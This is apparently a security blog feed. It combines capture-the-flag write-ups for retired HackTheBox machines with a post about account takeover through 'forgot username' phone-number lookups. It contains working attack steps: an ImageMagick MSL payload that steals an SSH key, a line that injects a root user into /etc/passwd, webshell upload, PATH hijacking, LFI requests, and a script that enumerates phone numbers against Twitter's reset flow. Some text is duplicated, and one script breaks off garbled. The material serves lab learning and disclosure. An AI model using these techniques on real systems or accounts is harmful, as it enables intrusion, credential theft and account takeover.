<p>As the file was written we use a payload that will give us access to <code>thomas</code>'s
private SSH key.</p>
<div class="highlight"><pre><span></span><code><span class="nt"><image< span=""><span class="w"> </span><span class="na">authenticate=</span><span class="s">'ff" `cp /home/thomas/.ssh/id_rsa /dev/shm/; chmod 777 /dev/shm/id_rsa`;"'</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><read< span=""><span class="w"> </span><span class="na">filename=</span><span class="s">"pdf:/etc/passwd"</span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><get< span=""><span class="w"> </span><span class="na">width=</span><span class="s">"base-width"</span><span class="w"> </span><span class="na">height=</span><span class="s">"base-height"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><resize< span=""><span class="w"> </span><span class="na">geometry=</span><span class="s">"400x400"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><write< span=""><span class="w"> </span><span class="na">filename=</span><span class="s">"test.png"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><svg< span=""><span class="w"> </span><span class="na">width=</span><span class="s">"700"</span><span class="w"> </span><span class="na">height=</span><span class="s">"700"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><image< span=""><span class="w"> </span><span class="na">xlink:href=</span><span class="s">"msl:rce2.svg"</span><span class="w"> </span><span class="na">height=</span><span class="s">"100"</span><span class="w"> </span><span class="na">width=</span><span class="s">"100"</span><span class="nt">/></span>
<span class="w"> </span><span class="nt"></span>
<span class="nt"></span>
</image<></span></svg<></span></write<></span></resize<></span></get<></span></read<></span></image<></span></code></pre></div>
<p>We can then copy the key.</p>
<div class="highlight"><pre><span></span><code>www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /dev/shm/id_rsa
cat /dev/shm/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt9IoI5gHtz8omhsaZ9Gy+wXyNZPp5jJZvbOJ946OI4g2kRRDHDm5
x7up3z5s/H/yujgjgroOOHh9zBBuiZ1Jn1jlveRM7H1VLbtY8k/rN9PFe/MkRsYdH45IvV
qMgzqmJPFAdxmkD9WRnVP9OqEF0ZEYwTFuFPUlNq5hSbNRucwXEXbW0Wk7xdXwe3OJk8hu
<snip>
</snip></code></pre></div>
<p>And we connect as <code>thomas</code> on the box and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>ssh thomas@10.129.159.86 -i id_rsa
thomas@meta:~$ cat user.txt
34bdbba1436e176c3c13ceb0a045d740
</code></pre></div>
<h1>Root</h1>
<p>As usual we run our enumeration script and process and found out that our user
can run <code>/usr/bin/neofetch \"\"</code> as root without password. Also the
<code>XDG_CONFIG_HOME</code> environment variable is preserved.</p>
<div class="highlight"><pre><span></span><code>thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
</code></pre></div>
<p>We modify the <code>neofetch</code> configuration file and the <code>image_source</code> parameter to
execute a command. The result of this command will be use as the <code>neofetch</code>
logo. We just create a new user with a know password (see
<a href="https://maggick.fr/2021/07/htb-armageddon.html">Armageddon article</a>)</p>
<p><code>image_source="$(echo 'toto:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd)"</code></p>
<p>We export the configuration file, copy our local version of it (as it was
regularly rewritten) and run the <code>sudo</code> command.</p>
<p><code>export XDG_CONFIG_HOME="/home/thomas/.config" && cp config.conf .config/neofetch/config.conf && sudo /usr/bin/neofetch \"\"</code></p>
<p>Then we can switch user as <code>toto</code> and get a <code>root</code> shell allowing to grab the
root flag.</p>
<div class="highlight"><pre><span></span><code>thomas@meta:~$ su toto
Password:
root@meta:/home/thomas# id
uid=0(root) gid=0(root) groups=0(root)
root@meta:/home/thomas# cd
root@meta:~# cat root.txt
40e95295043f27cd9f2c6e21561dbb6d
</code></pre></div>
<h1>Wrapping up</h1>
<p>A lot of enumeration and very specific vulnerability to exploit for this box.
I really do not like subdomain enumeration on HTB :/ also, the <code>ImageMagick</code>
exploit is not 100% reliable and I had to kill the box and initiate a new one
(resetting the box was not enough)</p>Forgot username?2022-06-11T09:25:00+02:002022-06-11T09:25:00+02:00maggicktag:maggick.fr,2022-06-11:/2022/06/forgot-username.html<p><img alt="Forgot username" class="align-left" src="/media/2022.06/forgot.jpg" width="262"/></p>
<p>While browsing on the Internet,
I founded a strange functionality <code>forgot username?</code>. Everyone know about the <code>forgot password</code> one that
often imply to input the user email address and get a link to reset ones password. So what is that
<code>forgot username?</code> thing?</p>
<p><img alt="Forgot username" class="align-left" src="/media/2022.06/forgot.jpg" width="262"/></p>
<p>While browsing on the Internet,
I founded a strange functionality <code>forgot username?</code>. Everyone know about the <code>forgot password</code> one that
often imply to input the user email address and get a link to reset ones password. So what is that
<code>forgot username?</code> thing?</p>
<p><strong>Disclaimer:</strong> This was discovered in 2020 and was forgotten on my computer since then.
The attack vectors described bellow might have changed.</p>
<h1>Taking over old accounts</h1>
<h2>Yahoo!</h2>
<p>While browsing on the Internet,
I founded a strange functionality <code>forgot username?</code>. Everyone all know about the <code>forgot password</code> one that
often imply to input the user email address and get a link to reset ones password.</p>
<p><img alt="Forgot username function on Yahoo" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_01.png"/></p>
<p>When clinking on the link, the user was prompted to either put its email address - <em>its username right?</em> -
or a phone number.</p>
<p><img alt="Forgot username function on Yahoo" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_02.png"/></p>
<p>When putting a phone number there were two outputs cases:</p>
<p>One: the phone number was not recognized and the page display it as an error message.</p>
<p><img alt="Phone number was not recognized" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_03.png"/></p>
<p>Two: the phone number was in the database and <code>Yahoo!</code> would ask if I wanted to get a password
reset code on the phone number.</p>
<p><img alt="Phone number was link to an account" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_05.png"/></p>
<p>Obviously when clicking <code>yes</code> a text message was sent to the phone number and I was able to
reset its account's password and access the profile data - <em>I only connected that on accounts I owned for ethic and legal reasons.</em></p>
<p><img alt="Resetting the password" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_06.png"/></p>
<p>A weird case scenario that happened was triggered when the phone number was linked to two accounts.
In this case, it was possible to reset both account's passwords.</p>
<p>On the picture below <code>lenonfran48</code> was my account but the other one, starting with <code>ism</code>, was not.</p>
<p><img alt="Phone number is link to two accounts?!" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/yahoo_04.png"/></p>
<h2>GAFAM</h2>
<p>Yahoo! was not alone out there and a most of the GAFAM offered this function - <em>Apple allowed to
retrieve ones Apple ID but using its First name and Last name and email address</em>:</p>
<p><img alt="GAFAM allowed to retrieve account with the phone number" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/gafam_01.png"/></p>
<p><img alt="GAFAM allowed to retrieve account with the phone number" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/gafam_02.png"/></p>
<h3>Twitter specifics</h3>
<p>If there were two accounts link to a phone number, Twitter would not allow the user to reset its password using the
phone number and asked to use the username or email address.</p>
<p><img alt="Phone number was link to two accounts?!" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/twitter_5.png"/></p>
<h3>Google specifics</h3>
<p>Google also allowed to use a phone number instead of an email to login and reset the account
password. But, in order to show that the account really belonged to the person
with the phone number, Google asks for personal information as the user First name and Last name.</p>
<p><img alt="Google asked for personal information" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/google_05.png"/></p>
<h3>Amazon specifics</h3>
<p>As Google, Amazon was asking the credit card last number not before resetting the user password, but when accessing the
"personal" section or putting an order.</p>
<h1>Automation</h1>
<p><img alt="automate all the things!" src="/media/2022.06/automate.jpg"/></p>
<h2>Finding phone number</h2>
<p>I needed a large input of phone number. For that I used three sources:</p>
<ul>
<li>Internal phone number: I extracted the phone number from my company as reaching a coworker on our internal
chat to ask him to send me a text code is perfectly fine (after explaining the situation obviously)</li>
<li>Burner and Google voice: these services allowed to buy a temporary phone number and let you choose from a list
allowing to test the number against the applications and buy the interesting numbers.</li>
</ul>
<p><img alt="Google voice" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/google_voice.png"/></p>
<h2>Scripting</h2>
<p>A little bit of python or even using Burp intruder allowed to quickly retrieved the valid
phone numbers for each platform.
For instance, the <code>python</code> code to validate a phone number against Twitter was the following:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">check_number_twitter</span><span class="p">(</span><span class="n">phone_number</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">twitter_url</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">authenticity_token</span><span class="o">=</span><span class="s1">''</span>
<span class="n">soupe</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="s1">'lxml'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">elem</span> <span class="ow">in</span> <span class="n">soupe</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s1">'input'</span><span class="p">):</span>
<span class="k">if</span> <span class="n">elem</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'name'</span><span class="p">)</span> <span class="o">==</span> <span class="s1">'authenticity_token'</span><span class="p">:</span>
<span class="n">authenticity_token</span><span class="o">=</span><span class="n">elem</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'value'</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'authenticity_token'</span><span class="p">:</span> <span class="n">authenticity_token</span><span class="p">,</span> <span class="s1">'account_identifier'</span><span class="p">:</span> <span class="n">phone_number</span><span class="p">}</span>
<span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">twitter_url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'https://twitter.com/account/send_password_reset'</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="k">if</span> <span class="s1">'a code to my phone ending'</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Twitter num found: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">phone_number</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="n">file</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">stderr</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'-------------------------------'</span><span class="p">,</span> <span class="n">file</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">stderr</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">''</span><span class="p">,</span> <span class="n">file</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">stderr</span><span class="p">)</span>
</code></pre></div>
<h2>Results</h2>
<p>The following table present the raw results obtained by running the collected number.</p>
<p>We see that Burner and Google Voice were not interesting sources in term of phone number.
The reason is probably that the number were not really use by users as recuperation device.</p>
<p>Company phone number however were really interesting as they tend to be reuse phone number.</p>
<table>
<thead>
<tr>
<th>Source</th>
<th>numbers</th>
<th>Yahoo</th>
<th>Amazon</th>
<th>Twitter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Company phones</td>
<td>303</td>
<td>77</td>
<td>111</td>
<td>12</td>
</tr>
<tr>
<td>Burner</td>
<td>299</td>
<td>0</td>
<td>6</td>
<td>0</td>
</tr>
<tr>
<td>Google Voice</td>
<td>152</td>
<td>0</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>TOTAL</td>
<td>754</td>
<td>77</td>
<td>117</td>
<td>14</td>
</tr>
</tbody>
</table>
<h1>Fix</h1>
<h2>User side</h2>
<p>A few recommendations for the end user:</p>
<ul>
<li>Renew your phone numbers.</li>
<li>Keep an inventory of your phone number usage and update them as needed.</li>
</ul>
<h2>Application side</h2>
<p>A few recommendations for the applications:</p>
<ul>
<li>Use an anti-brute force mechanism.</li>
<li>Try to show the same message whether the phone number is link to an account or not.</li>
<li>As Google and Amazon were doing ask for personal information before sending the email.</li>
</ul>
<h1>Conclusion</h1>
<p>There is no real vulnerability here as this was mostly a user bad habit. Nonetheless, GAFAM could
implement some simple fixes to protect their users from this kind of "attacks".</p>HTB: Pandora2022-05-25T14:25:00+02:002022-05-25T14:25:00+02:00maggicktag:maggick.fr,2022-05-25:/2022/05/htb-pandora.html<p><img alt="Pandora Card" class="align-left" src="/media/2022.05/pandora_card.png" width="262"/></p>
<p>This box is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/423">Pandora</a> publish on
January 8, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/114053">TheCyberGeek</a> and
<a href="https://www.hackthebox.com/home/users/profile/610173">dmw0ng</a>.
This box is rated as an easy machine. It implies an UDP service, a localy
exposed vulnerable application and an SUID binary.</p>
<p><img alt="Pandora Card" class="align-left" src="/media/2022.05/pandora_card.png" width="262"/></p>
<p>This box is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/423">Pandora</a> publish on
January 8, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/114053">TheCyberGeek</a> and
<a href="https://www.hackthebox.com/home/users/profile/610173">dmw0ng</a>.
This box is rated as an easy machine. It implies an UDP service, a localy
exposed vulnerable application and an SUID binary.</p>
<h1>Foothold and user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Sat Feb 5 11:08:18 2022 as: nmap -p- -oN notes.md -sSV 10.129.157.82
Nmap scan report for 10.129.157.82
Host is up (0.014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<p>Looking at the web pages we do no find anything useful. We run an UDP scan and
found that port 161 (SNMP) is open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Sat Feb 27 10:34:49 2022 as: nmap -sSU -oN udp_scan 10.129.148.185
Nmap scan report for panda.htb (10.129.148.185)
Host is up (0.013s latency).
Not shown: 998 closed udp ports (port-unreach), 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
68/udp open|filtered dhcpc
161/udp open snmp
</code></pre></div>
<h2>SNMP service</h2>
<p>We use <a href="https://github.com/trailofbits/onesixtyone">onesixtyone</a> to found the
community string. Only <code>public</code> seems to be available.</p>
<div class="highlight"><pre><span></span><code>└─$ onesixtyone 10.129.148.185 -c wordlist-common-snmp-community-strings.txt
Scanning 1 hosts, 122 communities
10.129.148.185 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
10.129.148.185 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
</code></pre></div>
<p>We use the <code>snmp_enum</code> module of <code>msfconsole</code> to enumerate the SNMP information.
And found that a process that is using a username and a password in the command
line.</p>
<div class="highlight"><pre><span></span><code>msf6 auxiliary(scanner/snmp/snmp_enum) > show options
Module options (auxiliary/scanner/snmp/snmp_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
RETRIES 1 yes SNMP Retries
RHOSTS 10.129.148.185 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wi
ki/Using-Metasploit
RPORT 161 yes The target port (UDP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
msf6 auxiliary(scanner/snmp/snmp_enum) > run
[+] 10.129.148.185, Connected.
[*] System information:
Host IP : 10.129.148.185
Hostname : pandora
Description : Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
Contact : Daniel
<snip>
984 runnable sh /bin/sh -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
<snip>
</snip></snip></code></pre></div>
<h2>Pandora</h2>
<p>We test this credentials on the SSH service and they are working. We check this
<code>host_check</code> process and found that a web application is exposed on locally.</p>
<div class="highlight"><pre><span></span><code>ssh daniel@10.129.148.185 # HotelBabylon23
daniel@pandora:~$ ltrace /usr/bin/host_check -u daniel -p HotelBabylon23
puts("PandoraFMS host check utility"PandoraFMS host check utility
) = 30
puts("Now attempting to check PandoraF"...Now attempting to check PandoraFMS registered hosts.
) = 53
puts("Files will be saved to ~/.host_c"...Files will be saved to ~/.host_check
) = 37
system("/usr/bin/curl 'http://127.0.0.1/"... <no ...="" return="">
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
sleep(1775726^C <no ...="" return="">
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++
daniel@pandora:~$ curl http://127.0.0.1/
<meta content="0; url=/pandora_console/" http-equiv="REFRESH"/>
</no></no></code></pre></div>
<p>We mount a SSH tunnel <code>ssh daniel@10.129.148.185 -D 9090</code> and add the SOCKS
proxy in the Burp options and browse to <code>127.0.0.1</code>. We found out that the
application is Pandora FMS v7.0NG. Looking for exploit on Google we found out a
<a href="https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained">Sonarsource blog article</a></p>
<p>As we do not have any account (daniel's can only use the API) we are looking for
a <a href="https://github.com/zjicmDarkWing/CVE-2021-32099">PoC for CVE-2021-32099 on github</a>
this seems to be a PoC specially crafted for HTB.
We copy the URL and add our session cookie at the end of it, allowing us to get
an admin access to the application.</p>
<p><img alt="Admin account" class="image-process-article-image" src="/media/2022.05/derivatives/article-image/pandora_01.png"/></p>
<p>Using the "File manager" in "admin tools", we are able to upload
<code>/usr/share/webshells/php/simple-backdoor.php</code> on the application. The page tell
us that we are uploading in <code>images</code>.</p>
<p><img alt="File upload" class="image-process-article-image" src="/media/2022.05/derivatives/article-image/pandora_02.png"/></p>
<p>We can then access <code>http://127.0.0.1/pandora_console/images/simple-backdoor.php?cmd=id</code>
to run the <code>id</code> command on the box and get the expected result:
<code>uid=1000(matt) gid=1000(matt) groups=1000(matt)</code></p>
<p>We create a <code>.ssh</code> folder in matt's home directory and put our SSH public key in
the <code>authorized_keys</code> file. We are now able to connect to the box as <code>matt</code> and
grab the user flag.</p>
<div class="highlight"><pre><span></span><code>ssh matt@10.129.156.46
matt@pandora:~$ cat user.txt
0922da287177a016913cb69eb003c0d8
</code></pre></div>
<h1>Root</h1>
<p>We start our enumeration and look for SUID binaries and found a binary called
<code>pandora_backup</code>.</p>
<div class="highlight"><pre><span></span><code>matt@pandora:/$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
-rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn
-rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp
-rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
-rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup
-rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
-rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
-rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh
</code></pre></div>
<p>Looking at the calls from this binary, we can see that it call <code>tar</code> with a
relative PATH.</p>
<div class="highlight"><pre><span></span><code>matt@pandora:/$ ltrace /usr/bin/pandora_backup
getuid() = 1000
geteuid() = 1000
setreuid(1000, 1000) = 0
puts("PandoraFMS Backup Utility"PandoraFMS Backup Utility
) = 26
puts("Now attempting to backup Pandora"...Now attempting to backup PandoraFMS client
) = 43
system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
<no ...="" return="">
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 512
puts("Backup failed!\nCheck your permis"...Backup failed!
Check your permissions!
) = 39
+++ exited (status 1) +++
</no></code></pre></div>
<p>The use of a relative PATH allow us to use a custom PATH to execute a custom
<code>tar</code> that will just spawn a root shell.</p>
<div class="highlight"><pre><span></span><code>matt@pandora:~$ mktemp -d
/tmp/tmp.yHz9XgyjVw
matt@pandora:~$ echo '/bin/bash' > /tmp/tmp.yHz9XgyjVw/tar
matt@pandora:~$ export PATH=/tmp/tmp.yHz9XgyjVw:$PATH
matt@pandora:~$ chmod +x /tmp/tmp.yHz9XgyjVw/tar
matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:~# id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:~# cat /root/root.txt
8975a2739d6bc02170645feb6607b6db
</code></pre></div>
<h1>Wrapping up</h1>
<p>A nice box with a really interesting user part with multiple stage, the UDP
service is easy to miss as there is not a lot of boxes with them and the UDP
scan are pretty slow. The chaining of different vulnerabilities in the Pandora
application is also interesting. Finally the root part is trivial.</p>HTB: Backdoor2022-04-25T15:40:00+02:002022-04-25T15:40:00+02:00maggicktag:maggick.fr,2022-04-25:/2022/04/htb-backdoor.html<p><img alt="Backdoor" class="align-left" src="/media/2022.04/backdoor_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/416">Backdoor</a> publish on
November 20, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/79623">hkabubaker17</a>.
This box is rated as an easy machine. It implies a wordpress plugin, a LFI, a
gdbserver and a screen process.</p>
<p><img alt="Backdoor" class="align-left" src="/media/2022.04/backdoor_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/416">Backdoor</a> publish on
November 20, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/79623">hkabubaker17</a>.
This box is rated as an easy machine. It implies a wordpress plugin, a LFI, a
gdbserver and a screen process.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only three TCP ports are open: 22 (SSH), 80 (HTTP) and 1337 (we don't know what
is running there).</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Tue Jan 4 08:45:39 2022 as: nmap -p- -sSV -oN notes.md 10.129.171.210
Nmap scan report for 10.129.171.210
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 4 08:46:11 2022 -- 1 IP address (1 host up) scanned in 31.95 seconds
</code></pre></div>
<p>The HTTP port is a basic WordPress website.</p>
<p><img alt="WordPress homepage" class="image-process-article-image" src="/media/2022.04/derivatives/article-image/backdoor_01.png"/></p>
<p>Looking at the installed plugin we found that ebook-download is available:</p>
<p><img alt="ebook-download plugin" class="image-process-article-image" src="/media/2022.04/derivatives/article-image/backdoor_02.png"/></p>
<p>This WordPress plugin is <a href="https://www.exploit-db.com/exploits/39574">vulnerable to a LFI</a>
that we can exploit to retrieve files on the box.</p>
<div class="highlight"><pre><span></span><code>└─$ curl http://backdoor.htb//wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd../../../../../../../../../etc/passwd../../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<snip>
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
<script>window.close()</script>
</snip></code></pre></div>
<p>We want to find which process is running on port 1337. We write a quick python
script that get the Max PID and list the process by PID.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://backdoor.htb//wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/sys/kernel/pid_max'</span><span class="p">)</span>
<span class="n">maxpid</span><span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">[</span><span class="mi">132</span><span class="p">:</span><span class="o">-</span><span class="mi">31</span><span class="p">])</span>
<span class="nb">print</span><span class="p">(</span><span class="n">maxpid</span><span class="p">)</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><</span><span class="n">maxpid</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'http://backdoor.htb//wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../proc/'</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s1">'/cmdline'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">[</span><span class="mi">102</span><span class="o">+</span><span class="mi">3</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)):</span><span class="mi">112</span><span class="o">+</span><span class="mi">3</span><span class="o">*</span><span class="nb">len</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))]</span><span class="o">!=</span><span class="s1">'<script></script></span></code></pre></div>HTB: Secret2022-03-28T12:11:00+02:002022-03-28T12:11:00+02:00maggicktag:maggick.fr,2022-03-28:/2022/03/htb-secret.html<p><img alt="Secret" class="align-left" src="/media/2022.03/secret_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/408">Secret</a> publish on
October 30, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/485024">z9fr</a>.
This box is rated as an easy machine. It implies a JWT token and its secret, as
well as a program core dump.</p>
<p><img alt="Secret" class="align-left" src="/media/2022.03/secret_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/408">Secret</a> publish on
October 30, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/485024">z9fr</a>.
This box is rated as an easy machine. It implies a JWT token and its secret, as
well as a program core dump.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Only a few ports are open: 22(SSH), 80 (HTTP) and 3000(also an HTTP service
here).</p>
<p><img alt="nmap" class="image-process-article-image" src="/media/2022.03/derivatives/article-image/secret_nmap.png"/></p>
<p>The website on port 3000, provide an API and its documentation. We can download
the source code from the site. Looking at the different commit we found that
the commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 "removed .env for security reasons"
might be interesting.</p>
<p><img alt="git log" class="image-process-article-image" src="/media/2022.03/derivatives/article-image/secret_gitlog.png"/></p>
<p>We look at the <code>git diff</code> for this specific commit and found the non redacted
<code>TOKEN_SECRET</code> for the application.</p>
<p><img alt="git diff" class="image-process-article-image" src="/media/2022.03/derivatives/article-image/secret_gitdiff.png"/></p>
<p>We create a python script that allow to interact with the API to create an
account, leveraging the known token secret to change our name to 'theadmin'
using <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a>
putting our SSH public key on the box for the 'dasith' user.</p>
